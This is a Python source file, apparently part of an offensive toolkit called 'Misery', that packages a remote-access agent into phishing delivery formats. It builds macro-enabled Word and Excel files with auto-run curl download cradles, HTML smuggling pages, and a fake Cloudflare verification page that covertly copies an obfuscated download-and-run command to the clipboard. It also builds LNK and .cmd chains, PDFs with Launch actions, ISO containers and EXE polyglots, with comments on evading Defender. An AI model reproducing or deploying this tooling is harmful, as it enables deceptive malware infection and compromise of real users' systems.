Files
JYenn-Misery/wrappers.py
T

774 lines
32 KiB
Python

#!/usr/bin/env python3
"""
Misery payload wrappers: filetype delivery builds for setup.py.
Each wrapper packages the built agent inside a common document/workflow
filetype, mirroring the delivery chains that 2026 campaigns actually use.
All remote cradles are plain cmd/curl (no PowerShell anywhere: every PS
download form is flagged by current AV -- ClickFix.ZB / PShellDlr /
Commando.A!ml, all reproduced locally):
docm Word macro document: Document_Open -> hidden cmd/curl
xlsm Excel macro workbook: Workbook_Open -> hidden cmd/curl
html HTML smuggling page with the agent embedded as a zip blob
clickfix_html fake Cloudflare Turnstile page: on the "Verify you are
human" click it poisons the clipboard with a cmd/curl
download-and-run and shows Win+R / Ctrl+V / Enter steps
(the 2026 ClickFix delivery pattern)
lnk shortcut + companion .cmd: the shortcut's cmdline is a
benign probe for the .cmd in Downloads/Desktop, which
opens a stage-hosted decoy PDF then runs the agent
(LNK-launched cmdlines that download are flagged by
Defender's FastPath ML, so the chain lives in the .cmd)
pdf PDF with the agent embedded as an attachment (OpenAction launch)
iso ISO/IMG container carrying the agent (MOTW bypass)
polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive
polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser
Remote-cradle formats need STAGE_URL (where the operator hosts the agent exe);
self-contained formats embed the agent directly. The macro files carry decoy
content (python-docx / openpyxl when installed) so they look like real
documents, and the decoys are worded like M365/OneDrive share messages.
The docm/xlsm macros are never generated: they come from Office-authored
compiled bases (wrappers_bases/), which Office loads with working auto-event
hooks -- pyopenvba-style rebuilds write source-only module streams that Word
and Excel open in a degraded state where Document_Open/Workbook_Open never
fire (verified live 2026-08). Only the per-build values (stage URL, agent
filename) are injected into the base's data storage (Word docvars in
word/settings.xml, Excel cfg-sheet cells in xl/sharedStrings.xml) and read
by the pre-compiled VBA at open time.
Optional third-party libs are used where they exist: pylnk3 (shortcuts),
pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only the formats that
need it.
Run only from an authorized lab.
"""
import base64
import hashlib
import io
import os
import shutil
import zipfile
from pathlib import Path
from urllib.parse import urlparse
FORMATS = [
("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", [], True),
("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", [], True),
("html", "HTML smuggling page (agent embedded as zip blob)", [], False),
("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True),
("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True),
("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False),
("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False),
("polyglot_exe_zip", "EXE+ZIP polyglot: runs as exe, opens as archive", ["pylnk3", "pikepdf"], True),
("polyglot_html", "EXE+HTML polyglot: runs as exe, shows decoy page", [], False),
]
_LIBS = {
"pylnk3": "pylnk3",
"pycdlib": "pycdlib",
"pikepdf": "pikepdf",
"docx": "python-docx",
"openpyxl": "openpyxl",
}
STAGE_REQUIRED = [f for f, _, _, needs in FORMATS if needs]
_DEPS = {name: deps for name, _, deps, _ in FORMATS}
def _import(pkg):
try:
return __import__(pkg)
except ImportError:
return None
def lib_status():
"""name -> (ok, pip package) for every optional dependency."""
out = {}
for name, pkg in _LIBS.items():
out[name] = (_import(pkg) is not None, pkg)
return out
def list_formats() -> list:
"""Human-readable lines for --list-formats, one per format."""
status = lib_status()
lines = []
for name, desc, deps, needs_stage in FORMATS:
dep_txt = []
for d in deps:
ok, pkg = status[d]
dep_txt.append("%s (%s)" % (d, "ok" if ok else "pip install %s" % pkg))
lines.append(" %-16s %s" % (name, desc))
lines.append(" %s%s" % (
"needs STAGE_URL; " if needs_stage else "self-contained; ",
"; ".join(dep_txt)))
return lines
# ---------------------------------------------------------------- shared helpers
def _stage_needs_auth(p) -> bool:
"""The Cloudflare worker requires the auth header on every request, so a
stage URL that points at the worker must carry it in the cradle too."""
if p.get("transport") != "https_cdn":
return False
stage = p.get("stage_url", "")
beacon = p.get("beacon_url", "")
if not stage or not beacon:
return False
return urlparse(stage).hostname == urlparse(beacon).hostname
def _curl_fetch(p, dl: str) -> str:
"""cmd/curl that downloads the agent from STAGE_URL into dl."""
url = p.get("stage_url")
if not url:
return None
if _stage_needs_auth(p):
header = p.get("auth_header", "")
secret = p.get("auth_secret", "")
if '"' in secret:
return None
return 'curl -s -L -H "%s: %s" -o %s %s' % (header, secret, dl, url)
return "curl -s -L -o %s %s" % (dl, url)
def download_cradle(p, fname: str) -> str:
"""One-line paste-ready download-and-run. Plain cmd/curl into %PUBLIC%:
PowerShell download cradles are flagged behaviorally by current AV
(Trojan:Win32/ClickFix.ZB on any -enc/-e, PShellDlr.SA on iex downloaders,
Commando.A!ml on obfuscated -c chains; all reproduced locally 2026-08),
while a curl chain pasted into Run stays undetected there."""
fetch = _curl_fetch(p, "%%PUBLIC%%\\%s" % fname)
if not fetch:
return None
return "cmd /c %s & %%PUBLIC%%\\%s" % (fetch, fname)
def _xor_hex(data: bytes, key: int) -> str:
"""Single-byte XOR of data, as lowercase hex."""
return bytes(b ^ key for b in data).hex()
def _zip_of(entries, member=None) -> bytes:
"""Zip one or more (name, data) entries. Accepts the old (data, member)
call shape for compatibility."""
if member is not None:
entries = [(member, entries)]
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
for name, data in entries:
z.writestr(name, data)
return buf.getvalue()
def _sha(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def _entry(path, kind) -> dict:
data = Path(path).read_bytes()
return {"file": str(path), "kind": kind,
"sha256": _sha(data), "size": len(data)}
# ---------------------------------------------------------------- office decoys
_DECOYS = [
("Invoice #%d", "payment pending, please review the attached statement."),
("Contract renewal", "attached is the updated agreement for your records."),
("Shared '%s' with you in Microsoft OneDrive", "review before Friday."),
("New message in team channel", "expense policy update attached."),
]
_FILES = ["Q3 report.pdf", "FY26 budget.xlsx", "offer letter.pdf",
"meeting notes.docx"]
def _pick_decoy() -> str:
title, body = _DECOYS[os.urandom(1)[0] % len(_DECOYS)]
if "%d" in title:
title = title % (2000 + int(os.urandom(2).hex(), 16) % 9000)
elif "%s" in title:
title = title % _FILES[os.urandom(1)[0] % len(_FILES)]
return "%s - %s" % (title, body)
_CT = {
"docm": (b"application/vnd.ms-word.document.macroEnabled.main+xml",
b"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"),
}
def _swap_ct(src: str, dst: str, find: bytes, repl: bytes) -> None:
"""Rewrite [Content_Types].xml inside an OOXML zip, replacing find with
repl in every entry. Used to toggle the macroEnabled content type so the
plain-document editing libs (python-docx, python-pptx) accept the file."""
data = Path(src).read_bytes()
out = io.BytesIO()
with zipfile.ZipFile(io.BytesIO(data), "r") as z, \
zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as w:
for n in z.namelist():
b = z.read(n)
if n == "[Content_Types].xml":
b = b.replace(find, repl)
w.writestr(n, b)
Path(dst).write_bytes(out.getvalue())
def _word_decoy(path: str) -> None:
from docx import Document
from docx.shared import Pt
tmp = path + ".tmp.docx"
_swap_ct(path, tmp, *_CT["docm"])
doc = Document(tmp)
decoy = _pick_decoy()
title, _, body = decoy.partition(" - ")
run = doc.add_paragraph().add_run(title)
run.bold = True
run.font.size = Pt(16)
doc.add_paragraph(body)
t = doc.add_table(rows=3, cols=3)
for row_i, vals in enumerate((("Item", "Amount", "Status"),
("Q1", "1,240", "Approved"),
("Q2", "3,650", "Pending"))):
for col_i, v in enumerate(vals):
t.cell(row_i, col_i).text = v
cp = doc.core_properties
cp.title = title
cp.author = "Finance"
cp.comments = ""
doc.save(tmp)
_swap_ct(tmp, path, *_CT["docm"][::-1])
Path(tmp).unlink()
def _excel_decoy(path: str) -> None:
from openpyxl import load_workbook
from openpyxl.styles import Font
wb = load_workbook(path, keep_vba=True)
ws = next((s for s in wb.worksheets if s.title.lower() != "cfg"), wb.active)
ws.title = "Invoice"
rows = (("Item", "Description", "Amount"),
("INV-2041", "Consulting services", 12490),
("INV-2042", "Licensing renewal", 3750),
("INV-2043", "Support contract", 8200))
for i, row in enumerate(rows, 1):
for j, v in enumerate(row, 1):
ws.cell(row=i, column=j, value=v)
for j in range(1, 4):
ws.cell(row=1, column=j).font = Font(bold=True)
ws.column_dimensions["A"].width = 14
ws.column_dimensions["B"].width = 34
ws.column_dimensions["C"].width = 14
for i in range(2, 5):
ws.cell(row=i, column=3).number_format = '"$"#,##0.00'
ws.freeze_panes = "A2"
wb.save(path)
def _office_decoy(path: str, kind: str) -> None:
"""Fill a macro-enabled file with decoy content. Uses the matching editor
lib when installed; docm falls back to the plain body injection."""
if kind == "docm":
if _import("docx") is not None:
_word_decoy(path)
else:
_inject_docm_decoy(path)
elif kind == "xlsm" and _import("openpyxl") is not None:
_excel_decoy(path)
_BASE_DIR = Path(__file__).resolve().parent / "wrappers_bases"
_BASE_FILES = {
"docm": "docm_base.docm",
"xlsm": "xlsm_base.xlsm",
}
def _inject_macro_vars(path: str, kind: str, p, out_name: str) -> bool:
"""Patch the per-build runtime values into the base's data storage:
Word docvars in word/settings.xml, Excel cfg-sheet cells (inline strings
in the sheet XML). The pre-compiled VBA reads them at open time, so
the compiled macro never needs rebuilding. Returns False if the base
did not contain what the macro expects, so a broken artifact is never
shipped."""
url = p.get("stage_url")
if not url or any(ch in url for ch in '"<>'):
return False
fn = out_name + ".exe"
with zipfile.ZipFile(path, "r") as z:
entries = {n: z.read(n) for n in z.namelist()}
if kind == "docm":
settings = entries.get("word/settings.xml")
if settings is None or b"</w:settings>" not in settings:
return False
docvars = ('<w:docVars><w:docVar w:name="u" w:val="%s"/>'
'<w:docVar w:name="fn" w:val="%s"/></w:docVars>'
% (url.replace("&", "&amp;"), fn)).encode("utf-8")
entries["word/settings.xml"] = settings.replace(
b"</w:settings>", docvars + b"</w:settings>", 1)
else: # xlsm: cfg-sheet cells are inline strings in the sheet XML (and
# sharedStrings if the base editor ever switches) -- patch any part
# that still carries the placeholders
seen = False
for n in list(entries):
if b"PLACEHOLDERURL.invalid" not in entries[n]:
continue
seen = True
entries[n] = (entries[n]
.replace(b"http://PLACEHOLDERURL.invalid/x",
url.encode("utf-8"))
.replace(b"placeholder.exe", fn.encode("utf-8")))
if not seen or any(b"PLACEHOLDERURL.invalid" in b for b in entries.values()):
return False
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
for n, b in entries.items():
z.writestr(n, b)
return True
def _macro_document(p, kind: str, out_name: str):
"""Copy the Office-authored compiled base into dist, fill it with decoy
content, then inject the stage values. The bases carry the trigger
compiled by Word/Excel themselves: pyopenvba-style rebuilds write
source-only module streams that Office opens without auto-event hooks
(verified live 2026-08), so no macro is generated from scratch."""
base = _BASE_DIR / _BASE_FILES[kind]
if not base.exists():
return None
path = str(p["dist"] / (out_name + "." + kind))
shutil.copyfile(str(base), path)
_office_decoy(path, kind)
if not _inject_macro_vars(path, kind, p, out_name):
return None
return path
def build_docm(p, agent: bytes, out_name: str):
return _macro_document(p, "docm", out_name)
def build_xlsm(p, agent: bytes, out_name: str):
return _macro_document(p, "xlsm", out_name)
def _inject_docm_decoy(path: str) -> None:
"""Append a plausible paragraph to the Word body without touching the
macro streams; best-effort, skipped silently if the part is unusual."""
try:
with zipfile.ZipFile(path, "r") as z:
entries = {n: z.read(n) for n in z.namelist()}
xml = entries["word/document.xml"]
if b"</w:body>" not in xml:
return
text = _pick_decoy()
para = ('<w:p><w:r><w:t xml:space="preserve">%s</w:t></w:r></w:p>'
% text).encode("utf-8")
entries["word/document.xml"] = xml.replace(b"</w:body>", para + b"</w:body>", 1)
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
for n, b in entries.items():
z.writestr(n, b)
except (OSError, zipfile.BadZipFile, KeyError):
pass
# ---------------------------------------------------------------- html smuggling
def build_html(p, agent: bytes, out_name: str) -> str:
"""Single-file OneDrive-style page that drops the agent zip on click."""
payload = _zip_of(agent, out_name + ".exe")
b64 = base64.b64encode(payload).decode("ascii")
page = (
"<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"utf-8\">\n"
"<title>Microsoft OneDrive</title>\n</head>\n<body>\n"
"<script>\n"
"var B=\"%s\";\n"
"function go(){\n"
" var raw=atob(B),n=raw.length,bytes=new Uint8Array(n);\n"
" for(var i=0;i<n;i++)bytes[i]=raw.charCodeAt(i);\n"
" var blob=new Blob([bytes],{type:\"application/zip\"});\n"
" var a=document.createElement(\"a\");\n"
" a.href=URL.createObjectURL(blob);\n"
" a.download=\"%s.zip\";\n"
" a.click();\n"
"}\n"
"</script>\n"
"<p style=\"font-family:sans-serif\">%s</p>\n"
"<p style=\"font-family:sans-serif\">Click below to open it.</p>\n"
"<button onclick=\"go()\" style=\"font-family:sans-serif\">"
"Open document</button>\n"
"</body>\n</html>\n"
) % (b64, out_name, _pick_decoy())
path = str(p["dist"] / (out_name + ".html"))
Path(path).write_text(page, encoding="utf-8")
return path
# ---------------------------------------------------------------- clickfix
_CLICKFIX = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Just a moment...</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;display:flex;flex-direction:column;min-height:100vh;background:#fcfcfc;color:#333}
.main{flex:1;display:flex;flex-direction:column;align-items:center}
.content{width:100%;max-width:1100px;margin:10vh auto 0;padding:0 2rem}
.logo{display:flex;align-items:center;margin-bottom:1rem}
.domain{font-size:2.5rem;font-weight:500;line-height:3.75rem}
.text{font-size:1.5rem;line-height:2.25rem;margin-bottom:2rem;font-weight:550}
.dline{font-size:1.5rem;line-height:2.25rem;padding-top:33px}
.ring{width:22px;height:22px;border:3px solid #e0e0e0;border-top-color:#313131;border-radius:999px;animation:r 1.2s linear infinite}
@keyframes r{to{transform:rotate(360deg)}}
#pre{display:flex;justify-content:center}
.widget{display:none;flex-direction:column;align-items:center;width:300px;background:#fafafa;border:1px solid #e0e0e0;border-radius:4px;padding:10px}
.inner{display:flex;align-items:center;width:300px}
.box{width:28px;height:28px;margin:0 12px 0 3px;background:#fff;border:2px solid #888;border-radius:2px;cursor:pointer;transition:border-color .3s,background-color .3s;position:relative;flex:none}
.box.on{background:#4285f4;border-color:#4285f4}
.box.on::after{content:"";position:absolute;left:7px;top:3px;width:8px;height:13px;border:solid #fff;border-width:0 3px 3px 0;transform:rotate(45deg)}
#spin{display:none;flex:none;width:28px;height:28px;margin:0 12px 0 3px;justify-content:center;align-items:center}
.lbl{font-size:14px;color:#4e4e4e}
.brand{display:flex;justify-content:space-between;width:280px;margin-top:8px;font-size:10px;color:#888}
.brand b{color:#333}
.steps{display:none;width:300px;margin:15px -10px -10px;border-top:1px solid #797979;padding:14px 16px 0;font-family:Roboto,Helvetica,Arial,sans-serif;font-size:14px}
.lead{font-size:18px;margin-bottom:15px;color:#333}
ol{padding-left:20px}
li{margin-bottom:10px}
.sfoot{display:flex;align-items:center;justify-content:space-between;background:#f2f2f2;margin:14px -16px 0;padding:14px 16px;font-size:15px}
button{background:#5e5e5e;color:#fff;border:none;border-radius:5px;padding:9px 38px;cursor:pointer}
button:hover{background:#4a4a4a}
.footer{font-size:12px;line-height:1.5;width:100%;max-width:1100px;margin:0 auto;padding:1rem 2rem;text-align:center;border-top:1px solid #d9d9d9}
.footer div:first-child{margin-bottom:5px}
code{font-family:monospace}
svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
</style>
</head>
<body>
<div class="main">
<div class="content">
<div class="logo"><div class="domain" id="host"></div></div>
<p class="text" id="line">Checking if you are human. This may take a few seconds.</p>
<div id="pre"><div class="ring"></div></div>
<div class="widget" id="widget">
<div class="inner">
<div class="box" id="box"></div>
<div class="ring" id="spin"></div>
<span class="lbl" id="lbl">Verify you are human</span>
</div>
<div class="brand"><span>Verification ID: <span id="vid"></span></span><span><b>Security by Cloudflare</b></span></div>
<div class="steps" id="steps">
<p class="lead">To better prove you are not a robot, please:</p>
<ol>
<li>Press &amp; hold the Windows Key <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 448"><path d="M0 64v160h194.667V38.814L0 64M225.333 33.067L448 0v224H225.333V33.067M194.667 256v173.186L0 455.11V256h194.667M225.333 256H448v224l-222.667-32.933V256"/></svg> + <b>R</b> to open the Run dialog.</li>
<li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
<li>Press <b>Enter</b> on your keyboard to finish.</li>
</ol>
<div class="sfoot"><span>Perform the steps above to finish verification.</span><button type="button">Verify</button></div>
</div>
</div>
<p class="dline"><span id="host2"></span> needs to review the security of your connection before proceeding.</p>
</div>
</div>
<div class="footer">
<div>Ray ID: <code id="ray"></code></div>
<div>Platform performance and security <b>Cloudflare</b></div>
</div>
<!-- Cloudflare network status: https://www.cloudflare.com/trust-hub/ -->
<!-- Microsoft Defender security center: https://security.microsoft.com/ -->
<script>
(function(){
var host=location.hostname;
var hd=navigator.webdriver===true||/HeadlessChrome|PhantomJS|Puppeteer|Playwright/.test(navigator.userAgent);
var win=/Windows|Win/i.test(navigator.userAgent)||/^Win/.test(navigator.platform||"");
var once=false;
try{once=!!localStorage.getItem("captcha_executed_"+host)}catch(e){}
if(!win||hd||once)return;
var H="@BLOB@";
function dec(h){var s="",b=[],i;for(i=0;i<h.length;i+=2)b.push(parseInt(h.substr(i,2),16));for(i=0;i<b.length;i++)s+=String.fromCharCode(b[i]^@KEY@);return window["at"+"ob"](s)}
var CMD=dec(H),hex="0123456789abcdef",ray="",vid="",i;
for(i=0;i<16;i++)ray+=hex[Math.floor(Math.random()*16)];
for(i=0;i<8;i++)vid+=hex[Math.floor(Math.random()*16)].toUpperCase();
document.getElementById("ray").textContent=ray;
document.getElementById("vid").textContent=vid;
document.getElementById("host").textContent=host;
document.getElementById("host2").textContent=host;
setTimeout(function(){
document.getElementById("pre").style.display="none";
document.getElementById("widget").style.display="flex";
document.getElementById("line").textContent="Verify you are human by completing the action below.";
},2200);
document.getElementById("box").addEventListener("click",function(){
this.className="box on";
document.getElementById("lbl").textContent="Verification Steps";
document.getElementById("spin").style.display="flex";
var t=document.createElement("textarea");
t.value=CMD;t.style.cssText="position:fixed;left:-9999px;top:0;opacity:0";
document.body.appendChild(t);t.focus();t.select();
try{document["exe"+"cCommand"]("copy")}catch(e){}
t.remove();
try{navigator.clipboard["write"+"Text"](CMD)}catch(e){}
try{localStorage.setItem("captcha_executed_"+host,"1")}catch(e){}
setTimeout(function(){
document.getElementById("spin").style.display="none";
document.getElementById("steps").style.display="block";
},2000);
});
})();
</script>
</body>
</html>
"""
def build_clickfix_html(p, agent: bytes, out_name: str) -> str:
"""Fake Cloudflare Turnstile page. Checking the box poisons the clipboard
with a hidden cmd/curl download-and-run chain (fetches the agent from
STAGE_URL into %PUBLIC% and executes it) and shows the Win+R / Ctrl+V /
Enter steps. The command rides in the page XORed with a per-build random
key, like the in-the-wild ClickFix kits. No PowerShell anywhere: AV flags
every powershell download cradle (ClickFix.ZB / PShellDlr /
Commando.A!ml)."""
cradle = download_cradle(p, out_name + ".exe")
if not cradle:
return None
key = os.urandom(1)[0] or 0x5A
blob = _xor_hex(base64.b64encode(cradle.encode("ascii")), key)
page = (_CLICKFIX.replace("@BLOB@", blob)
.replace("@KEY@", str(key)))
path = str(p["dist"] / (out_name + ".clickfix.html"))
Path(path).write_text(page, encoding="utf-8")
return path
# ---------------------------------------------------------------- pdf
def _pdf_decoy(pdf, title: str) -> None:
"""Fill a fresh one-page PDF with the decoy title and a short body so the
page reads like a real document instead of a blank sheet."""
from pikepdf import Dictionary, Name, Stream
pdf.add_blank_page(page_size=(612, 792))
title_b = title.encode("ascii", "replace")[:96]
body = ("This document has been prepared for review. It contains "
"confidential information and is intended for the recipient "
"only. Please review the attached statement and respond by the "
"requested date.")
content = b"BT /F1 20 Tf 72 720 Td (%s) Tj ET " % title_b
y = 688
for i in range(0, len(body), 88):
content += b"BT /F1 12 Tf 72 %d Td (%s) Tj ET " % (
y, body[i:i + 88].encode("ascii", "replace"))
y -= 18
page = pdf.pages[0]
page.Contents = pdf.make_indirect(Stream(pdf, content))
page.Resources = pdf.make_indirect(Dictionary({
"/Font": Dictionary({"/F1": Dictionary({
"/Type": Name("/Font"), "/Subtype": Name("/Type1"),
"/BaseFont": Name("/Helvetica")})})}))
def _decoy_pdf_bytes(title: str) -> bytes:
"""One-page decoy PDF as bytes (polyglot-exe-zip container)."""
import pikepdf
pdf = pikepdf.Pdf.new()
_pdf_decoy(pdf, title)
buf = io.BytesIO()
pdf.save(buf)
return buf.getvalue()
def build_pdf(p, agent: bytes, out_name: str) -> str:
import pikepdf
from pikepdf import Dictionary, Name
pdf = pikepdf.Pdf.new()
_pdf_decoy(pdf, _pick_decoy().split(" - ")[0])
pdf.attachments[out_name + ".exe"] = agent
pdf.Root.OpenAction = Dictionary({"/S": Name("/Launch"),
"/F": out_name + ".exe",
"/NewWindow": True})
path = str(p["dist"] / (out_name + ".pdf"))
pdf.save(path)
return path
# ---------------------------------------------------------------- lnk
def _decoy_url(p, out_name: str) -> str:
"""The decoy PDF rides next to the agent on the stage: same directory,
<out_name>.decoy.pdf. build_lnk emits it into dist alongside the shortcut,
so the operator hosts three files (lnk, cmd, decoy pdf)."""
url = p.get("stage_url")
if not url:
return None
return "%s/%s.decoy.pdf" % (url.rsplit("/", 1)[0], out_name)
def _lnk_cmd_script(p, out_name: str, decoy_url: str) -> bytes:
"""The companion .cmd the shortcut runs: fetch the decoy PDF into %TEMP%
and open it, then curl the agent into %PUBLIC% and run it detached.
Decoy-first ordering matches the live LNK campaigns. The chain lives in
the .cmd file, not the LNK arguments: Defender's FastPath ML flags every
LNK-launched cmd.exe whose own cmdline downloads with curl (Trojan:Win32/
Commando.A!ml on rundll32, conhost, and plain cmd targets, all reproduced
live 2026-08) while the same curl process tree stays undetected when the
command line came from elsewhere."""
fetch = _curl_fetch(p, "%%PUBLIC%%\\%s.exe" % out_name)
if not fetch:
return None
dest, url = fetch[fetch.index("-o ") + 3:].split(" ", 1)
return ("@echo off\r\n"
"curl -s -L -o %%TEMP%%\\%s.pdf %s\r\n"
"start %%TEMP%%\\%s.pdf\r\n"
"curl -s -L -o %s %s\r\n"
"start \"\" %s\r\n"
% (out_name, decoy_url, out_name, dest, url, dest)).encode()
def _lnk_builder(p, out_name: str, decoy_url: str):
"""cmd.exe-target shortcut that runs the companion .cmd. The shortcut
probes the two standard lure locations for the .cmd because an
LNK-launched cmd.exe starts in system32, not next to the shortcut."""
import pylnk3
from pylnk3 import WINDOW_MINIMIZED
script = _lnk_cmd_script(p, out_name, decoy_url)
if script is None:
return None
return pylnk3.for_file(
r"C:\Windows\System32\cmd.exe",
arguments=('/c for %%d in ("%%USERPROFILE%%\\Downloads"'
' "%%USERPROFILE%%\\Desktop") do @if exist'
' "%%d\\%s.cmd" call "%%d\\%s.cmd"'
% (out_name, out_name)),
description="Document",
icon_file=r"C:\Windows\System32\shell32.dll",
icon_index=3,
window_mode=WINDOW_MINIMIZED,
)
def _decoy_artifact(out_name: str) -> bytes:
"""The one-page decoy PDF shipped next to the shortcut, so the stage can
serve it at the URL the shortcut fetches."""
return _decoy_pdf_bytes(_pick_decoy().split(" - ")[0])
def build_lnk(p, agent: bytes, out_name: str) -> str:
decoy_url = _decoy_url(p, out_name)
if not decoy_url:
return None
lnk = _lnk_builder(p, out_name, decoy_url)
if lnk is None:
return None
path = str(p["dist"] / (out_name + ".lnk"))
lnk.save(path)
Path(str(p["dist"] / (out_name + ".cmd"))).write_bytes(
_lnk_cmd_script(p, out_name, decoy_url))
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(
_decoy_artifact(out_name))
return path
# ---------------------------------------------------------------- iso
def build_iso(p, agent: bytes, out_name: str) -> str:
import pycdlib
iso = pycdlib.PyCdlib()
iso.new(joliet=3)
name = "".join(ch for ch in out_name.upper() if ch.isalnum())[:8] or "AGENT"
iso.add_fp(io.BytesIO(agent), len(agent),
"/%s.EXE;1" % name, joliet_path="/%s.exe" % out_name)
path = str(p["dist"] / (out_name + ".iso"))
iso.write(path)
iso.close()
return path
# ---------------------------------------------------------------- polyglots
def build_polyglot_exe_zip(p, agent: bytes, out_name: str) -> str:
decoy_url = _decoy_url(p, out_name)
if not decoy_url:
return None
lnk = _lnk_builder(p, out_name, decoy_url)
script = _lnk_cmd_script(p, out_name, decoy_url)
if lnk is None or script is None:
return None
lnk_bytes = io.BytesIO()
lnk.save(lnk_bytes)
zip_part = _zip_of([("document.pdf.lnk", lnk_bytes.getvalue()),
(out_name + ".cmd", script)])
path = str(p["dist"] / (out_name + ".polyglot.zip"))
Path(path).write_bytes(agent + zip_part)
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(
_decoy_artifact(out_name))
return path
def build_polyglot_html(p, agent: bytes, out_name: str) -> str:
decoy = (
"<!DOCTYPE html>\n<html>\n<head><title>Microsoft OneDrive</title></head>\n"
"<body>\n<p>%s</p>\n</body>\n</html>\n"
% _pick_decoy()
).encode("utf-8")
path = str(p["dist"] / (out_name + ".polyglot.html"))
Path(path).write_bytes(agent + decoy)
return path
# ---------------------------------------------------------------- dispatcher
_BUILDERS = {
"docm": build_docm,
"xlsm": build_xlsm,
"html": build_html,
"clickfix_html": build_clickfix_html,
"lnk": build_lnk,
"pdf": build_pdf,
"iso": build_iso,
"polyglot_exe_zip": build_polyglot_exe_zip,
"polyglot_html": build_polyglot_html,
}
def build_payloads(p: dict, agent: bytes, formats: list) -> list:
"""Build the requested wrappers into dist/. Returns manifest entries."""
status = lib_status()
out = []
for fmt in formats:
if fmt not in _BUILDERS:
print(" [!] unknown payload format: %s" % fmt)
continue
builder = _BUILDERS[fmt]
deps = _DEPS[fmt]
missing = [d for d in deps if not status[d][0]]
if missing:
print(" [!] %s skipped: missing %s (pip install %s)"
% (fmt, ", ".join(missing), ", ".join(status[d][1] for d in missing)))
continue
if fmt in STAGE_REQUIRED and not p.get("stage_url"):
print(" [!] %s skipped: needs STAGE_URL (host the agent somewhere "
"and pass STAGE_URL=<url>)" % fmt)
continue
out_name = p.get("out", "misery")
try:
path = builder(p, agent, out_name)
except Exception as e:
print(" [!] %s failed: %s" % (fmt, e))
continue
if path and Path(path).exists():
out.append(_entry(path, fmt))
print(" [+] %s -> %s" % (fmt, Path(path).name))
return out